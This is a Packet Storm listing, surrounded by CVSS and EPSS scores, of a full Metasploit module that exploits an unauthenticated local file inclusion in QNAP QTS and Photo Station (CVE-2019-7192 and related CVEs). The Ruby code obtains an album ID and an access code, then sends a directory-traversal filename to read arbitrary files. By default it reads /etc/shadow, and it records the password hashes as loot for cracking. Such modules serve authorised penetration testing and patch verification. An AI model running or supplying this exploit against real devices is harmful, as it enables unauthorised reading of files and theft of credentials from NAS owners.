Lucene search

K
packetstormHenry Huang, Redouane Niboucha, metasploit.comPACKETSTORM:180599
HistoryAug 31, 2024 - 12:00 a.m.

QNAP QTS and Photo Station Local File Inclusion

2024-08-3100:00:00
Henry Huang, Redouane Niboucha, metasploit.com
packetstormsecurity.com
22
qnap
photo station
local file inclusion
unauthenticated attacker
http server
root access
sensitive files
ssh private keys
password hashes
tested version
cve-2019-7192
cve-2019-7194
cve-2019-7195
edb-48531
pre-auth rce
security advisory
vendor advisory

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.97

Percentile

99.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'QNAP QTS and Photo Station Local File Inclusion',  
'Description' => %q{  
This module exploits a local file inclusion in QNAP QTS and Photo  
Station that allows an unauthenticated attacker to download files from  
the QNAP filesystem.  
  
Because the HTTP server runs as root, it is possible to access  
sensitive files, such as SSH private keys and password hashes.  
  
This module has been tested on QTS 4.3.3 (unknown Photo Station  
version) and QTS 4.3.6 with Photo Station 5.7.9.  
},  
'Author' => [  
'Henry Huang', # Vulnerability discovery  
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-7192'],  
['CVE', '2019-7194'],  
['CVE', '2019-7195'],  
['EDB', '48531'],  
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],  
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],  
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']  
],  
'DisclosureDate' => '2019-11-25', # Vendor advisory  
'Actions' => [  
['Download', { 'Description' => 'Download the file at FILEPATH' }]  
],  
'DefaultAction' => 'Download',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'The URI of the QNAP Website', '/']),  
OptString.new('FILEPATH', [true, 'The file to read on the target', '/etc/shadow']),  
OptBool.new('PRINT', [true, 'Whether or not to print the content of the file', true]),  
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 3])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')  
)  
  
unless res && res.code == 200 && (xml = res.get_xml_document)  
return Exploit::CheckCode::Safe  
end  
  
info = %w[modelName version build patch].map do |node|  
xml.at("//#{node}").text  
end  
  
vprint_status("QNAP #{info[0]} #{info[1..].join('-')} detected")  
  
return Exploit::CheckCode::Appears if info[2].to_i < 20191206  
  
Exploit::CheckCode::Detected  
end  
  
def run  
if check == Exploit::CheckCode::Safe  
print_error('Device does not appear to be a QNAP')  
return  
end  
  
file_content = exploit_lfi(datastore['FILEPATH'])  
  
if file_content.nil? || file_content.empty?  
print_bad('Failed to perform Local File Inclusion')  
return  
end  
  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'qnap.http',  
'text/plain',  
datastore['RHOST'],  
file_content,  
fname  
)  
  
print_good("File download successful, saved in #{path}")  
  
print_good("File content:\n#{file_content}") if datastore['PRINT']  
  
return unless datastore['FILEPATH'] == '/etc/shadow'  
  
print_status('adding the /etc/shadow entries to the database')  
  
file_content.lines.each do |line|  
entries = line.split(':')  
  
next if entries[1] == '*' || entries[1] == '!' || entries[1] == '!!'  
  
credential_data = {  
module_fullname: fullname,  
workspace_id: myworkspace_id,  
username: entries[0],  
private_data: entries[1],  
jtr_format: 'md5crypt',  
private_type: :nonreplayable_hash,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
  
create_credential(credential_data)  
end  
end  
  
def exploit_lfi(file_path)  
album_id, cookies = retrieve_album_id  
  
unless album_id  
print_bad('Failed to retrieve the Album Id')  
return  
end  
  
print_good("Got Album Id : #{album_id}")  
  
access_code = retrieve_access_code(album_id, cookies)  
  
unless access_code  
print_bad('Failed to retrieve the Access Code')  
return  
end  
  
print_good("Got Access Code : #{access_code}")  
  
print_status('Attempting Local File Inclusion')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'video.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'vars_post' => {  
'album' => album_id,  
'a' => 'caption',  
'ac' => access_code,  
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"  
}  
})  
  
return unless res && res.code == 200  
  
res.body  
end  
  
def retrieve_album_id  
print_status('Getting the Album Id')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'album.php'),  
'method' => 'POST',  
'vars_post' => {  
'a' => 'setSlideshow',  
'f' => 'qsamplealbum'  
}  
})  
  
return unless res && res.code == 200  
  
xml_data = res.get_xml_document  
output = xml_data.xpath('//output[1]')  
return if output.empty?  
  
[output.inner_text, res.get_cookies]  
end  
  
def retrieve_access_code(album_id, cookies)  
print_status('Getting the Access Code')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'photo', 'slideshow.php'),  
'vars_get' => { 'album' => album_id },  
'cookie' => cookies  
})  
  
return unless res && res.code == 200  
  
res.body[/(?<=encodeURIComponent\(["']).+(?=['"])/]  
end  
  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.97

Percentile

99.8%